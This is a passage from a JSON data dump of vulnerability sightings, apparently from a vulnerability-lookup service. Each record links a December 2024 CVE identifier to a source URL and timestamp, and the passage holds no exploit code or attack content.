"creation_timestamp": "2024-12-20T18:53:26.659027Z"}, {"uuid": "08862f81-d7cd-46cc-a8d2-2b42b7a1ec19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12844", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldrcmnnqgg2z", "content": "", "creation_timestamp": "2024-12-20T21:15:27.059721Z"}, {"uuid": "189e2cbe-a9a9-4102-b6ab-bd05011d1e0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12729", "type": "seen", "source": "https://bsky.app/profile/r-blueteamsec.bsky.social/post/3ldsbcjcoy72s", "content": "", "creation_timestamp": "2024-12-21T06:24:32.168725Z"}, {"uuid": "e540b828-7c8a-4744-8a29-0375352b4195", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12066", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113689636535412498", "content": "", "creation_timestamp": "2024-12-21T07:29:43.142624Z"}, {"uuid": "a6e70551-b6e2-4d56-9e1d-9a7a9a8510af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12695", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113676028544090176", "content": "", "creation_timestamp": "2024-12-18T21:49:01.675442Z"}, {"uuid": "4bb96995-4bc1-4555-813f-6609155babb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12798", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldobfj62zm2m", "content": "", "creation_timestamp": "2024-12-19T16:15:33.694197Z"}, {"uuid": "bb765711-c54a-43e4-93c1-058e1679a6cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12175", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113681488674330513", "content": "", "creation_timestamp": "2024-12-19T20:57:37.130599Z"}, {"uuid": "07c463fe-0580-4e9a-bf78-2e140b07c12b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12178", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1703/", "content": "", "creation_timestamp": "2024-12-19T05:00:00.000000Z"}, {"uuid": "e6172520-d151-4200-b050-3748eb9b6869", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12830", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113682309295404760", "content": "", "creation_timestamp": "2024-12-20T00:26:18.323123Z"}, {"uuid": "101b29a0-41aa-487b-a09c-932fa72b5893", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12831", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113682309309296151", "content": "", "creation_timestamp": "2024-12-20T00:26:18.666075Z"}, {"uuid": "58cdfa33-6798-4675-bfff-d75bdd5ecd06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-12727", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3ldpomr7a3224", "content": "", "creation_timestamp": "2024-12-20T05:44:55.945765Z"}, {"uuid": "333be13c-fc43-417d-826b-9943aefaa794", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12727", "type": "seen", "source": "https://bsky.app/profile/nihonmatsu.bsky.social/post/3ldq77apjx22b", "content": "", "creation_timestamp": "2024-12-20T10:41:40.035072Z"}, {"uuid": "d889abf8-6a40-41b9-90e0-1dddefd75375", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12728", "type": "seen", "source": "https://bsky.app/profile/nihonmatsu.bsky.social/post/3ldq77apjx22b", "content": "", "creation_timestamp": "2024-12-20T10:41:40.084747Z"}, {"uuid": "ad4c1fef-9a66-41d5-8a3c-375b84f393cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12697", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113689695572309033", "content": "", "creation_timestamp": "2024-12-21T07:44:44.104429Z"}, {"uuid": "32820798-750a-4e1b-b618-d8d4f27346c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12727", "type": "seen", "source": "https://bsky.app/profile/samilaiho.com/post/3ldslu3agq22z", "content": "", "creation_timestamp": "2024-12-21T09:33:23.695226Z"}, {"uuid": "efd34792-b133-4890-a4d3-7b0439effa8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12331", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113679215508789554", "content": "", "creation_timestamp": "2024-12-19T11:19:30.742152Z"}, {"uuid": "6c9c5a63-3c4f-4281-90bb-f4a5a6b7ce5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12793", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113680835434980676", "content": "", "creation_timestamp": "2024-12-19T18:11:29.076369Z"}, {"uuid": "25c8ac34-5a86-42f1-85b4-cc9b8475b516", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12794", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113680835451609002", "content": "", "creation_timestamp": "2024-12-19T18:11:29.245237Z"}, {"uuid": "e5a60726-fdaf-4100-98e0-80e514760548", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2937927", "content": "", "creation_timestamp": "2024-12-19T19:31:15.256191Z"}, {"uuid": "8018b686-f454-42c5-91f3-2bd25fd47d22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12672", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113681515099631420", "content": "", "creation_timestamp": "2024-12-19T21:04:19.763399Z"}, {"uuid": "f523a307-953e-4969-a0d1-7504c575fd13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12197", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1708/", "content": "", "creation_timestamp": "2024-12-19T05:00:00.000000Z"}, {"uuid": "91d130b3-b506-4563-adf9-357225b394ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12194", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1706/", "content": "", "creation_timestamp": "2024-12-19T05:00:00.000000Z"}, {"uuid": "051c1d8f-78c6-4500-a43f-511dff78372d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12191", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1704/", "content": "", "creation_timestamp": "2024-12-19T05:00:00.000000Z"}, {"uuid": "660be1d0-5ff3-4b3a-8e2f-3228fb1c0a90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12729", "type": "seen", "source": "https://bsky.app/profile/nihonmatsu.bsky.social/post/3ldq77apjx22b", "content": "", "creation_timestamp": "2024-12-20T10:41:40.152730Z"}, {"uuid": "d8324e3f-4f66-4000-9d3e-27e2778b8a37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12840", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldqruoehfi2m", "content": "", "creation_timestamp": "2024-12-20T16:15:43.567033Z"}, {"uuid": "9acd63e3-d4ea-4c5d-85a6-e6ab1e6cd3b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12841", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldr3wmbz3q23", "content": "", "creation_timestamp": "2024-12-20T19:15:44.428250Z"}, {"uuid": "4e96d01e-4bfe-48a9-8481-f63f7f9a7fcc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12842", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldr7c6bezq27", "content": "", "creation_timestamp": "2024-12-20T20:15:54.640834Z"}, {"uuid": "819c4c47-e06e-4aae-aa40-aba5e1129c16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12721", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113689695587554104", "content": "", "creation_timestamp": "2024-12-21T07:44:44.259437Z"}, {"uuid": "183b2ddb-1598-4e5a-b680-75f8ad24611e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12728", "type": "seen", "source": "https://bsky.app/profile/samilaiho.com/post/3ldslu3agq22z", "content": "", "creation_timestamp": "2024-12-21T09:33:23.738763Z"}, {"uuid": "281bb82a-5492-4554-bd88-b06a0b3cc971", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12883", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113690960550659335", "content": "", "creation_timestamp": "2024-12-21T13:06:25.951143Z"}, {"uuid": "8076a18b-9d97-4bd1-9378-7aeb74eaaf4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12891", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lduumayevz2i", "content": "", "creation_timestamp": "2024-12-22T07:15:19.740512Z"}, {"uuid": "4cb07ac3-851b-4f45-8257-7426fd816ba7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12727", "type": "seen", "source": "https://bsky.app/profile/ajxchapman.bsky.social/post/3lduzkeysuk2x", "content": "", "creation_timestamp": "2024-12-22T08:43:44.400099Z"}, {"uuid": "a2b237c5-d1b8-4119-a26d-ccde1f123b74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12626", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113679215523457296", "content": "", "creation_timestamp": "2024-12-19T11:19:31.031972Z"}, {"uuid": "586ec1d0-062d-495c-9a6f-acd5bd1d793a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12785", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113680001427828016", "content": "", "creation_timestamp": "2024-12-19T14:39:22.997143Z"}, {"uuid": "6e53de4f-bece-4961-93c5-c386c39ce44b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2024-12-19T18:10:02.000000Z"}, {"uuid": "04ed07e1-2888-465b-826d-2829c03a1539", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12700", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-354-05", "content": "", "creation_timestamp": "2024-12-19T11:00:00.000000Z"}, {"uuid": "79a9b591-757d-457a-943a-73da41b73186", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12729", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113681515115617439", "content": "", "creation_timestamp": "2024-12-19T21:04:20.082079Z"}, {"uuid": "c4634d8b-212a-4340-aa8d-ff66f921092c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12198", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1709/", "content": "", "creation_timestamp": "2024-12-19T05:00:00.000000Z"}, {"uuid": "451b2cad-db96-4984-884d-0e753ca312e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12179", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1707/", "content": "", "creation_timestamp": "2024-12-19T05:00:00.000000Z"}, {"uuid": "6b020b24-aeb1-40cf-af35-a77cfed0966e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12192", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1705/", "content": "", "creation_timestamp": "2024-12-19T05:00:00.000000Z"}, {"uuid": "6a03b0fb-9f44-42c0-b5a5-310b3b233605", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3ldp6c7gyss2o", "content": "", "creation_timestamp": "2024-12-20T00:52:41.468614Z"}, {"uuid": "68de73e8-d58e-4604-bb2e-b8420dfabdb0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12867", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldr7caniju23", "content": "", "creation_timestamp": "2024-12-20T20:15:58.052457Z"}, {"uuid": "870a3e76-97dd-4d30-bafa-cdc3eccce7dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12771", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113689695602544719", "content": "", "creation_timestamp": "2024-12-21T07:44:44.449025Z"}, {"uuid": "25ab4126-4a3b-4aec-846c-c32dfec13145", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12729", "type": "seen", "source": "https://bsky.app/profile/samilaiho.com/post/3ldslu3agq22z", "content": "", "creation_timestamp": "2024-12-21T09:33:23.794350Z"}, {"uuid": "13ea55ff-6fd6-4e76-88b6-58a4e5dc2eb0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12883", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldsybdcz6s2c", "content": "", "creation_timestamp": "2024-12-21T13:15:28.581454Z"}, {"uuid": "c50f9c82-326d-4401-901e-38ba9f6d5052", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12782", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldnxdpqclm2m", "content": "", "creation_timestamp": "2024-12-19T13:15:36.235710Z"}, {"uuid": "0026c38f-cc28-44cc-a516-f2dcd141a70e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12793", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldoi4lrbhs2a", "content": "", "creation_timestamp": "2024-12-19T18:15:51.661364Z"}, {"uuid": "b7c222c5-4731-464d-b382-061ce561d237", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12671", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1702/", "content": "", "creation_timestamp": "2024-12-19T05:00:00.000000Z"}, {"uuid": "b39375cb-91ae-40f6-9bca-484b5727730c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12506", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113683998151143214", "content": "", "creation_timestamp": "2024-12-20T07:35:48.265060Z"}, {"uuid": "a886e207-4821-4d4a-9344-29912cbbb979", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12558", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113690158402957170", "content": "", "creation_timestamp": "2024-12-21T09:42:26.116132Z"}, {"uuid": "5d0a697e-f644-46cf-9245-cc31e1e4bd8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12892", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113695336011285378", "content": "", "creation_timestamp": "2024-12-22T07:39:10.140074Z"}, {"uuid": "101f268b-c86b-42f9-9b54-f7be4040fdf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12894", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldvffgxsve25", "content": "", "creation_timestamp": "2024-12-22T12:15:44.756989Z"}, {"uuid": "889a65c6-486f-4aa4-b007-878daf6bb9b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113666821461240345", "content": "", "creation_timestamp": "2024-12-17T06:47:32.662698Z"}, {"uuid": "d17e3d85-e02d-42f6-9f46-a2816d7a092f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12219", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113666985342334739", "content": "", "creation_timestamp": "2024-12-17T07:29:13.283241Z"}, {"uuid": "14c53fa4-80bd-4d70-bb10-1359c4166104", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12220", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113666985358645445", "content": "", "creation_timestamp": "2024-12-17T07:29:13.507870Z"}, {"uuid": "cc3230d0-1a31-4bfd-ae79-7d1c848ac747", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12293", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113667204127803065", "content": "", "creation_timestamp": "2024-12-17T08:24:51.626570Z"}, {"uuid": "176628b4-8c87-44c0-b46b-763705f5ed10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12692", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113676136226017385", "content": "", "creation_timestamp": "2024-12-18T22:16:24.742952Z"}, {"uuid": "b098f88e-3512-4a1d-803a-af23b19e4e5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12693", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113676136226017385", "content": "", "creation_timestamp": "2024-12-18T22:16:24.804644Z"}, {"uuid": "d240c013-9a8c-41b7-91e4-815df9e50034", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12783", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldnxdse3dm2b", "content": "", "creation_timestamp": "2024-12-19T13:15:38.890868Z"}, {"uuid": "69aab839-6cba-4a7e-9575-6ea34193e277", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12801", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113680401202596935", "content": "", "creation_timestamp": "2024-12-19T16:21:08.389413Z"}, {"uuid": "b34a942f-8889-49a2-bdf3-4020b712e706", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12791", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldoi4gdgxw2t", "content": "", "creation_timestamp": "2024-12-19T18:15:45.082727Z"}, {"uuid": "3bd0a55a-8737-4eec-a5ef-b8f2367eb92b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12670", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1701/", "content": "", "creation_timestamp": "2024-12-19T05:00:00.000000Z"}, {"uuid": "08db2ed4-148e-4a7d-8a7f-ca7208f2e91d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12829", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldp7lc5qer2m", "content": "", "creation_timestamp": "2024-12-20T01:15:40.131091Z"}, {"uuid": "861ece83-8ae2-412b-bdac-f06b8927e6ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12830", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldp7lek4tv2t", "content": "", "creation_timestamp": "2024-12-20T01:15:42.925359Z"}, {"uuid": "e2a6523c-bd90-4d95-848b-f4d2997732de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12509", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113684057150820738", "content": "", "creation_timestamp": "2024-12-20T07:50:48.306020Z"}, {"uuid": "69a721ea-daab-45fe-a9e3-bbd4fa3c6ecb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12571", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113684057166107368", "content": "", "creation_timestamp": "2024-12-20T07:50:48.671508Z"}, {"uuid": "8e39f124-7e12-43fa-8ed2-0e91b96063d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://thehackernews.com/2024/12/cisa-adds-critical-flaw-in-beyondtrust.html", "content": "", "creation_timestamp": "2024-12-20T03:30:00.000000Z"}, {"uuid": "da032e6b-6bdd-415d-9c46-3515b2948ff3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12066", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldse5vdbkk25", "content": "", "creation_timestamp": "2024-12-21T07:15:38.170591Z"}, {"uuid": "2fda25e6-0ec0-40eb-8e34-0bcb67e973d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12591", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113690158417673754", "content": "", "creation_timestamp": "2024-12-21T09:42:26.247934Z"}, {"uuid": "11492799-a459-4ae8-962b-1663fd0d035d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12893", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113695425480271204", "content": "", "creation_timestamp": "2024-12-22T08:01:55.273077Z"}, {"uuid": "c7d9d743-1b45-41e0-900a-3a3cc02a3ae6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12899", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113697498432247674", "content": "", "creation_timestamp": "2024-12-22T16:49:05.895101Z"}, {"uuid": "630ecb68-8c5c-4749-8981-6b48d3b751b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12371", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113674546664738967", "content": "", "creation_timestamp": "2024-12-18T15:32:09.914650Z"}, {"uuid": "eca401d0-2106-4835-9a7b-f44f260af404", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12694", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113676136226017385", "content": "", "creation_timestamp": "2024-12-18T22:16:24.838749Z"}, {"uuid": "bcc5326c-0e2d-4baa-b95d-28f6b9a00483", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12788", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113680447406326426", "content": "", "creation_timestamp": "2024-12-19T16:32:48.004294Z"}, {"uuid": "d4c29761-43bc-4a8c-8a95-1aed03b72055", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12789", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113680447422241361", "content": "", "creation_timestamp": "2024-12-19T16:32:48.484455Z"}, {"uuid": "30155ae7-9f30-4795-a339-e9ffe69c3972", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12792", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldoi4jac3h2s", "content": "", "creation_timestamp": "2024-12-19T18:15:48.004206Z"}, {"uuid": 